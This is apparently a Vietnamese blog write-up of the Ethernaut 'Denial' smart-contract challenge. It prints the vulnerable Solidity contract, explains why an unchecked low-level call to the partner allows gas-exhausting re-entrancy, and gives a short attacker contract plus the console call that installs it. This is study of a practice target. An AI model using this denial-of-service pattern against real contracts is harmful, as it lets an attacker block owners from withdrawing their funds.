Skip to content

The Ethernaut writeups: 20 - Denial

Posted on:February 22, 2022

20. Denial

Nhiệm vụ: bằng các nào đó ngăn owner rút tiền khi gọi withdraw.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Denial {

    using SafeMath for uint256;
    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address payable public constant owner = address(0xA9E);
    uint timeLastWithdrawn;
    mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public {
        partner = _partner;
    }

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint amountToSend = address(this).balance.div(100);
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        partner.call{value:amountToSend}("");
        owner.transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = now;
        withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
    }

    // allow deposit of funds
    receive() external payable {}

    // convenience function
    function contractBalance() public view returns (uint) {
        return address(this).balance;
    }
}

Phân tích

// withdraw 1% to recipient and 1% to owner
function withdraw() public {
    uint amountToSend = address(this).balance.div(100);
    // perform a call without checking return
    // The recipient can revert, the owner will still get their share
    partner.call{value:amountToSend}("");
    owner.transfer(amountToSend);
    // keep track of last withdrawal time
    timeLastWithdrawn = now;
    withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
}

Tại hàm withdraw này lại chuyển tiền cho partner trước khi chuyển cho owner, mà lại không phải chuyển bằng transfer thông thường giống với owner, mà lại chuyển bằng call - hàm không bị giới hạn gas limit tại 2300; đây là một chỉ dẫn quá rõ ràng cho lỗ hổng re-entrancy ta đã quen thuộc. Ta chỉ cần tạo một contract partner, trong đó tiếp tục thực hiện gọi withdraw tại receive là xong.

Solution

Chuẩn bị một contract partner như sau:

contract Rekt {
  Denial dn;
  constructor(address payable dnAddr) public {
    dn = Denial(dnAddr);
  }

  receive() external payable {
      dn.withdraw();
  }
}
contract.setWithdrawPartner("0x7E40F554a71B2E39168f3e6f3AF19ee7B824E1dd");

completed